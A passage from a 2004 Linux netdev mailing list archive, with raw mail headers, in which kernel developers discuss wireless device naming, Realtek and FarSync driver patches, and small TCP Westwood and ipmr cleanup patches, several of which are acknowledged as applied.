piece of information has a significant cost/overhead. I'm also suspicious of the interaction with the device notifiers and link flag setting. But that may not be as bad. The option I'm leaning toward is to define a new Netlink socket type for Wireless Extensions, which would allow me to use the Query/Reply model. Thanks... Jean From chrisw@osdl.org Thu Mar 11 18:01:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Mar 2004 18:01:31 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2C21TKO016772 for ; Thu, 11 Mar 2004 18:01:29 -0800 Received: from build.pdx.osdl.net (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i2C21LE12763 for ; Thu, 11 Mar 2004 18:01:21 -0800 Received: (from chrisw@localhost) by build.pdx.osdl.net (8.11.6/8.11.6) id i2C21LT03930 for netdev@oss.sgi.com; Thu, 11 Mar 2004 18:01:21 -0800 Date: Thu, 11 Mar 2004 18:01:21 -0800 From: Chris Wright To: netdev@oss.sgi.com Subject: [PATCH] trivial ipmr pim_protocol compile fix Message-ID: <20040311180121.B21045@build.pdx.osdl.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i X-archive-position: 3949 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chrisw@osdl.org Precedence: bulk X-list: netdev Content-Length: 691 Lines: 20 pim_protocol is defined but never used if !CONFIG_IP_PIMSM_V2 CC net/ipv4/ipmr.o net/ipv4/ipmr.c:112: warning: `pim_protocol' defined but not used I hate adding more ifdefs to this file, but here goes the simplest fix. ===== net/ipv4/ipmr.c 1.37 vs edited ===== --- 1.37/net/ipv4/ipmr.c Mon Feb 23 15:09:54 2004 +++ edited/net/ipv4/ipmr.c Thu Mar 11 17:55:40 2004 @@ -109,7 +109,9 @@ static int ipmr_cache_report(struct sk_buff *pkt, vifi_t vifi, int assert); static int ipmr_fill_mroute(struct sk_buff *skb, struct mfc_cache *c, struct rtmsg *rtm); +#ifdef CONFIG_IP_PIMSM_V2 static struct inet_protocol pim_protocol; +#endif static struct timer_list ipmr_expire_timer; From P@draigBrady.com Fri Mar 12 02:30:53 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Mar 2004 02:31:03 -0800 (PST) Received: from corvil.com (gate.corvil.net [213.94.219.177]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2CAUpKO009294 for ; Fri, 12 Mar 2004 02:30:52 -0800 Received: from draigBrady.com (pixelbeat.local.corvil.com [172.18.1.170]) by corvil.com (8.12.9/8.12.5) with ESMTP id i2CAUm7x069583; Fri, 12 Mar 2004 10:30:48 GMT (envelope-from P@draigBrady.com) Message-ID: <40519159.8000104@draigBrady.com> Date: Fri, 12 Mar 2004 10:30:49 +0000 From: P@draigBrady.com User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040124 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Jeff Garzik CC: netdev@oss.sgi.com Subject: Re: Device naming for wireless NICs... References: <20040304023524.GA19453@bougret.hpl.hp.com> <20040310165548.A24693@infradead.org> <20040310172114.GA8867@bougret.hpl.hp.com> <404F5097.4040406@pobox.com> <20040310175200.GA9531@bougret.hpl.hp.com> <404F5744.1040201@pobox.com> <20040311024816.GC3738@jm.kir.nu> <404FD6BC.7090409@pobox.com> <20040311031709.GC3782@jm.kir.nu> <405093A7.90209@linux.co.intel.com> <4050AE90.9070005@pobox.com> In-Reply-To: <4050AE90.9070005@pobox.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed X-MIME-Autoconverted: from 8bit to quoted-printable by corvil.com id i2CAUm7x069583 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i2CAUpKO009294 X-archive-position: 3950 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: P@draigBrady.com Precedence: bulk X-list: netdev Content-Length: 502 Lines: 15 Jeff Garzik wrote: > James Ketrenos wrote: > > Like Matthew said, any code that assumes a specific interface prefix, be > it eth%d or wlan%d, is buggy. Users are allowed to choose random > interface names for their interfaces, often via nameif(8) program. My > own ethtool program is broken in this regard... My trivial patch fixes that. http://sourceforge.net/tracker/index.php?func=detail&aid=780937&group_id=3242&atid=303242 Just wondering about the release schedule for ethtool? Pádraig. From nicolas.crochu@sgam.com Fri Mar 12 05:40:47 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Mar 2004 05:40:50 -0800 (PST) Received: from mail.sgam.fr (mail.sgam.com [194.119.92.19]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2CDejKO019197 for ; Fri, 12 Mar 2004 05:40:47 -0800 Received: from fr-mailapp1.fr.sgam.socgen (mailapp1 [10.15.1.14]) by mail.sgam.fr (8.12.10/8.12.10) with ESMTP id i2CDeSSX007148; Fri, 12 Mar 2004 14:40:28 +0100 (MET) Received: from UC1293.fr.sgam.socgen ([10.50.5.53]) by fr-mailapp1.fr.sgam.socgen with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id 1XZHR22T; Fri, 12 Mar 2004 14:40:33 +0100 Subject: Re: [update] 2.6.4-rc2 - Realtek 8169 patches From: crochu nicolas To: Francois Romieu Cc: netdev@oss.sgi.com In-Reply-To: <20040311193937.A14638@electric-eye.fr.zoreil.com> References: <20040307023748.A7829@electric-eye.fr.zoreil.com> <1078822878.2408.8.camel@pinacola> <20040311193937.A14638@electric-eye.fr.zoreil.com> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-UqbdjlJhQ5H9sQYKNmrD" Message-Id: <1079098857.2791.10.camel@localhost> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4-8mdk Date: Fri, 12 Mar 2004 14:40:57 +0100 X-archive-position: 3951 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: nicolas.crochu@sgam.com Precedence: bulk X-list: netdev Content-Length: 1094 Lines: 43 --=-UqbdjlJhQ5H9sQYKNmrD Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Le jeu 11/03/2004 =E0 19:39, Francois Romieu a =E9crit : > crochu nicolas : > > If i apply only these patch, everything goes fine > [...] > Did you stress the driver, say (rsync), ping -f -s 8, ttcp ? > -- > Ueimor I tested with unison, ping -f -s 8 as did a friend with the same hardware. My kernel : 2.6.3 + patched driver ( except the last 3 patch ) My friend : a stock 2.6.4-mm1 kernel. everything goes fine. my friend told me something about the io/schedulers as a source=20 of instability .. i'm investigatng. C.Nicolas. --=-UqbdjlJhQ5H9sQYKNmrD Content-Type: application/pgp-signature; name=signature.asc Content-Description: Ceci est une partie de message =?ISO-8859-1?Q?num=E9riquement?= =?ISO-8859-1?Q?_sign=E9e?= -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iD8DBQBAUb3pxsSeKWK8V4QRApt9AJ4hVhUEko5pOvq7Kugi7V286pN25ACcDriX FZpegsGLQ//UOzabAH5ACoo= =2YOV -----END PGP SIGNATURE----- --=-UqbdjlJhQ5H9sQYKNmrD-- From kevin.curtis@farsite.co.uk Fri Mar 12 08:57:35 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Mar 2004 08:57:38 -0800 (PST) Received: from relay2.ftech.net (relay2.ftech.net [195.200.0.97]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2CGvXKO030288 for ; Fri, 12 Mar 2004 08:57:34 -0800 Received: from opal.ftech.net ([212.32.16.127] helo=mailgate.ftech.net) by relay2.ftech.net with esmtp (Exim 3.36-ftechp12 #2) id 1B1pyN-0003oM-00; Fri, 12 Mar 2004 16:57:23 +0000 Received: from pc9.faradsl.ftech.co.uk ([212.32.46.170] helo=GENERAL.hq.farsitecommunications.com) by mailgate.ftech.net with esmtp (Exim 3.36-ftechp12 #1) id 1B1pyQ-0001K8-00; Fri, 12 Mar 2004 16:57:26 +0000 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Subject: RE: Update FarSync WAN driver in 2.6 content-class: urn:content-classes:message X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1 Date: Fri, 12 Mar 2004 16:57:25 -0000 Message-ID: <7C078C66B7752B438B88E11E5E20E72E25CC5B@general.hq.farsitecommunications.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Update FarSync WAN driver in 2.6 Thread-Index: AcP+9VRqHpr28/PlTpO8fXe/3pey7gAeAfzQAAnIc7ACL6D9wA== From: "Kevin Curtis" To: "Kevin Curtis" , "Jeff Garzik" Cc: , Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i2CGvXKO030288 X-archive-position: 3952 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kevin.curtis@farsite.co.uk Precedence: bulk X-list: netdev Content-Length: 1465 Lines: 64 Any progress on getting the farsync patches into the 2.4 and 2.6 Kernels? Kevin -----Original Message----- From: Kevin Curtis Sent: 01 March 2004 13:56 To: Kevin Curtis; 'Jeff Garzik' Cc: 'netdev@oss.sgi.com'; 'davem@redhat.com' Subject: RE: Update FarSync WAN driver in 2.6 Here is the modified patch. It installs against 2.6.4-pre1 Best get it in quick before net_device is given back to the hdlc layer again :-> Kevin -----Original Message----- From: Kevin Curtis Sent: 01 March 2004 09:15 To: 'Jeff Garzik'; Kevin Curtis Cc: netdev@oss.sgi.com; davem@redhat.com Subject: RE: Update FarSync WAN driver in 2.6 Hi, looks as though the 2.6.4-pre1 patch has changed farsync.c, which is probably why the patch will not apply. I would re-work the patch against this release. What is the status of the 2.4.x patch that I sent a while back? I still need to make one more change to it. I need to know if to resend the whole patch, or a n additional patch with the change? Kevin -----Original Message----- From: Jeff Garzik [mailto:jgarzik@pobox.com] Sent: 29 February 2004 18:53 To: Kevin Curtis Cc: netdev@oss.sgi.com; davem@redhat.com Subject: Re: Update FarSync WAN driver in 2.6 hum... Patch looks OK to appy, but does not apply against the latest 2.6.x kernel. Also, it is possible to split your patch into two pieces: one patch with nothing but indentation/whitespace cleanups, and the other patch with functional changes? Jeff From shemminger@osdl.org Fri Mar 12 09:15:26 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Mar 2004 09:15:38 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2CHFQKO030927 for ; Fri, 12 Mar 2004 09:15:26 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i2CHF5E22211; Fri, 12 Mar 2004 09:15:10 -0800 Date: Fri, 12 Mar 2004 09:15:05 -0800 From: Stephen Hemminger To: "Angelo Dell'Aera" , "David S. Miller" Cc: netdev@oss.sgi.com Subject: [PATCH] TCP westwood bw_sample set never used Message-Id: <20040312091505.593443d1@dell_ss3.pdx.osdl.net> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.9claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3953 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 1007 Lines: 31 Found this while looking in detail at TCP. The westwood.bw_sample element it tcp_opt is set but not used by the existing code in 2.6.4 diff -Nru a/net/ipv4/tcp_input.c b/net/ipv4/tcp_input.c --- a/net/ipv4/tcp_input.c Fri Mar 12 09:11:42 2004 +++ b/net/ipv4/tcp_input.c Fri Mar 12 09:11:42 2004 @@ -2065,7 +2065,6 @@ { struct tcp_opt *tp = tcp_sk(sk); - tp->westwood.bw_sample = 0; tp->westwood.bw_ns_est = 0; tp->westwood.bw_est = 0; tp->westwood.accounted = 0; @@ -2088,14 +2087,13 @@ static void westwood_filter(struct sock *sk, __u32 delta) { struct tcp_opt *tp = tcp_sk(sk); - __u32 sample = tp->westwood.bk / delta; tp->westwood.bw_ns_est = - westwood_do_filter(tp->westwood.bw_ns_est, sample); + westwood_do_filter(tp->westwood.bw_ns_est, + tp->westwood.bk / delta); tp->westwood.bw_est = westwood_do_filter(tp->westwood.bw_est, tp->westwood.bw_ns_est); - tp->westwood.bw_sample = sample; } /* @westwood_update_rttmin From shemminger@osdl.org Fri Mar 12 09:30:25 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Mar 2004 09:30:41 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2CHUNKO031539 for ; Fri, 12 Mar 2004 09:30:24 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i2CHUAE25914; Fri, 12 Mar 2004 09:30:10 -0800 Date: Fri, 12 Mar 2004 09:30:10 -0800 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: [PATCH] (repost) TCP westwood bw_sample Message-Id: <20040312093010.650caaa0@dell_ss3.pdx.osdl.net> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.9claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3954 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 1543 Lines: 42 TCP westwood bw_sample element in tcp_opt is set but never used. Repost of patch, because forgot part which removes it from tcp.h diff -Nru a/include/linux/tcp.h b/include/linux/tcp.h --- a/include/linux/tcp.h Fri Mar 12 09:29:03 2004 +++ b/include/linux/tcp.h Fri Mar 12 09:29:03 2004 @@ -377,7 +377,6 @@ /* TCP Westwood structure */ struct { - __u32 bw_sample; /* bandwidth sample */ __u32 bw_ns_est; /* first bandwidth estimation..not too smoothed 8) */ __u32 bw_est; /* bandwidth estimate */ __u32 rtt_win_sx; /* here starts a new evaluation... */ diff -Nru a/net/ipv4/tcp_input.c b/net/ipv4/tcp_input.c --- a/net/ipv4/tcp_input.c Fri Mar 12 09:29:03 2004 +++ b/net/ipv4/tcp_input.c Fri Mar 12 09:29:03 2004 @@ -2065,7 +2065,6 @@ { struct tcp_opt *tp = tcp_sk(sk); - tp->westwood.bw_sample = 0; tp->westwood.bw_ns_est = 0; tp->westwood.bw_est = 0; tp->westwood.accounted = 0; @@ -2088,14 +2087,13 @@ static void westwood_filter(struct sock *sk, __u32 delta) { struct tcp_opt *tp = tcp_sk(sk); - __u32 sample = tp->westwood.bk / delta; tp->westwood.bw_ns_est = - westwood_do_filter(tp->westwood.bw_ns_est, sample); + westwood_do_filter(tp->westwood.bw_ns_est, + tp->westwood.bk / delta); tp->westwood.bw_est = westwood_do_filter(tp->westwood.bw_est, tp->westwood.bw_ns_est); - tp->westwood.bw_sample = sample; } /* @westwood_update_rttmin From jgarzik@pobox.com Fri Mar 12 10:27:54 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Mar 2004 10:27:56 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2CIRrKO000550 for ; Fri, 12 Mar 2004 10:27:54 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:37306 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B1rNw-0004qb-Dz; Fri, 12 Mar 2004 18:27:52 +0000 Message-ID: <4052011C.3030403@pobox.com> Date: Fri, 12 Mar 2004 13:27:40 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Don Fry CC: tsbogend@alpha.franken.de, netdev@oss.sgi.com Subject: Re: [PATCH 2.6.4-rc1] pcnet32 correct names for changes References: <200403021927.i22JRiJ11750@DYN318364BLD.beaverton.ibm.com> In-Reply-To: <200403021927.i22JRiJ11750@DYN318364BLD.beaverton.ibm.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3958 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 10 Lines: 3 applied From jgarzik@pobox.com Fri Mar 12 10:27:50 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Mar 2004 10:27:52 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2CIRnKO000498 for ; Fri, 12 Mar 2004 10:27:49 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:37305 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B1rNq-0004qS-0i; Fri, 12 Mar 2004 18:27:46 +0000 Message-ID: <40520116.8080703@pobox.com> Date: Fri, 12 Mar 2004 13:27:34 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Don Fry CC: netdev@oss.sgi.com Subject: Re: [PATCH 2.6.4-rc2-bk1] netdevice.h add netif_msg_init helper References: <200403052328.i25NSqZ02414@DYN318364BLD.beaverton.ibm.com> In-Reply-To: <200403052328.i25NSqZ02414@DYN318364BLD.beaverton.ibm.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3957 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 10 Lines: 3 applied From jgarzik@pobox.com Fri Mar 12 10:27:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Mar 2004 10:27:46 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2CIRiKO000464 for ; Fri, 12 Mar 2004 10:27:44 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:37304 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B1rNn-0004qG-AA; Fri, 12 Mar 2004 18:27:43 +0000 Message-ID: <4052010F.2000308@pobox.com> Date: Fri, 12 Mar 2004 13:27:27 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Randy.Dunlap" CC: netdev@oss.sgi.com Subject: Re: [PATCH] eepro init section usage References: <20040307193542.20a510c9.rddunlap@osdl.org> In-Reply-To: <20040307193542.20a510c9.rddunlap@osdl.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3956 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 10 Lines: 3 applied From jgarzik@pobox.com Fri Mar 12 10:27:36 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Mar 2004 10:27:39 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2CIRZKO000434 for ; Fri, 12 Mar 2004 10:27:36 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:37303 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B1rNd-0004q8-HD; Fri, 12 Mar 2004 18:27:33 +0000 Message-ID: <40520109.7060005@pobox.com> Date: Fri, 12 Mar 2004 13:27:21 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Randy.Dunlap" CC: netdev@oss.sgi.com Subject: Re: [PATCH] smctr: fix init section usage References: <20040307194009.4ce2f9b1.rddunlap@osdl.org> In-Reply-To: <20040307194009.4ce2f9b1.rddunlap@osdl.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3955 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 10 Lines: 3 applied From jgarzik@pobox.com Fri Mar 12 10:30:37 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Mar 2004 10:30:39 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2CIUaKO001753 for ; Fri, 12 Mar 2004 10:30:37 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:37310 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B1rQa-0004sZ-1T; Fri, 12 Mar 2004 18:30:36 +0000 Message-ID: <405201C0.8000108@pobox.com> Date: Fri, 12 Mar 2004 13:30:24 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Don Fry CC: tsbogend@alpha.franken.de, netdev@oss.sgi.com Subject: Re: [PATCH 2.4.25] pcnet32 correct names for changes References: <200403021928.i22JSkv11760@DYN318364BLD.beaverton.ibm.com> In-Reply-To: <200403021928.i22JSkv11760@DYN318364BLD.beaverton.ibm.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3959 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 9 Lines: 2 applied From jgarzik@pobox.com Fri Mar 12 10:30:51 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Mar 2004 10:30:53 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2CIUoKO001852 for ; Fri, 12 Mar 2004 10:30:51 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:37312 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B1rQn-0004sg-Qy; Fri, 12 Mar 2004 18:30:49 +0000 Message-ID: <405201CE.2000003@pobox.com> Date: Fri, 12 Mar 2004 13:30:38 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Don Fry CC: tsbogend@alpha.franken.de, netdev@oss.sgi.com Subject: Re: [PATCH 2.4.26-pre2] pcnet32.c oops References: <200403102112.i2ALCaX04547@DYN318364BLD.beaverton.ibm.com> In-Reply-To: <200403102112.i2ALCaX04547@DYN318364BLD.beaverton.ibm.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3960 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 9 Lines: 2 applied From jgarzik@pobox.com Fri Mar 12 10:38:05 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Mar 2004 10:38:09 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2CIc4KO002465 for ; Fri, 12 Mar 2004 10:38:05 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:37315 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B1rXn-0004wR-DC; Fri, 12 Mar 2004 18:38:03 +0000 Message-ID: <4052037F.5040808@pobox.com> Date: Fri, 12 Mar 2004 13:37:51 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Randy.Dunlap" CC: netdev Subject: Re: [janitor] use netdev_priv() in drivers/net/ (others) References: <20040303142907.09d0f7bd.rddunlap@osdl.org> <20040303145738.293f987d.rddunlap@osdl.org> In-Reply-To: <20040303145738.293f987d.rddunlap@osdl.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3961 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 36 Lines: 3 applied 14 patches in this series From tmus@tmus.dk Fri Mar 12 10:49:38 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Mar 2004 10:49:42 -0800 (PST) Received: from mail.tmus.dk (cpe.atm0-0-0-1561101.0x50a0a16e.albnxx5.customer.tele.dk [80.160.161.110]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2CInbKO002907 for ; Fri, 12 Mar 2004 10:49:38 -0800 Received: from tmus.dk (dyn-192-168-1-20.tmus.dk [192.168.1.20]) by mail.tmus.dk (Postfix) with ESMTP id AC6CFF80E1; Fri, 12 Mar 2004 19:52:30 +0100 (CET) Message-ID: <4052063F.9020107@tmus.dk> Date: Fri, 12 Mar 2004 19:49:35 +0100 From: Thomas Munck Steenholdt User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7a) Gecko/20040219 X-Accept-Language: en-us, en, da MIME-Version: 1.0 To: jt@hpl.hp.com, hermes@gibson.dropbear.id.au Cc: netdev@oss.sgi.com, Jeff Garzik Subject: Re: [PATCH] 2.6.3 orinoco.c patch to support ethtool get_link References: <20040308185242.GA18367@bougret.hpl.hp.com> <404E4159.9040404@tmus.dk> In-Reply-To: <404E4159.9040404@tmus.dk> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3962 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: tmus@tmus.dk Precedence: bulk X-list: netdev Content-Length: 1179 Lines: 34 Thomas Munck Steenholdt wrote: > Jean Tourrilhes wrote: > >> I hope you realise that most often link status is meaningless >> with Wireless cards. In Ad-Hoc mode, the link is always up, regardless >> of the number of nodes in the cell, check the discussion on the HostAP >> mailing list. And the Orinoco card will report connected even is WEP >> is wrong. But, if you only use managed mode without WEP, that should >> work. >> I just wonder if it's better to report a 'link status' that >> may be wrong/misleading or to not report anything at all. > > > Actually, if the WEP key is wrong(i guess that's what you mean) the > link is determined as down, like it should be! > > For the AdHoc mode, sure the link is always determined as up, but that > is really the best way to do it given the nature of an Ad-Hoc network, > right! > > The way I see it you'll gain from this patch whenever in managed mode. > Most people (in my experience) is using managed mode and thus would > benefit from this functionality! > > Thomas > > Please comment on this ? I feel it's a really good idea that would improve things for me a lot - I'm sure I'm not the only one! Thomas From jt@bougret.hpl.hp.com Fri Mar 12 10:54:00 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Mar 2004 10:54:01 -0800 (PST) Received: from palrel10.hp.com (palrel10.hp.com [156.153.255.245]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2CIrvKO003254 for ; Fri, 12 Mar 2004 10:53:59 -0800 Received: from tomil.hpl.hp.com (tomil.hpl.hp.com [15.0.152.100]) by palrel10.hp.com (Postfix) with ESMTP id 4B53B1C02931; Fri, 12 Mar 2004 10:53:57 -0800 (PST) Received: from bougret.hpl.hp.com (bougret.hpl.hp.com [15.4.92.227]) by tomil.hpl.hp.com (8.9.3 (PHNE_29774)/8.9.3 HPLabs Timeshare 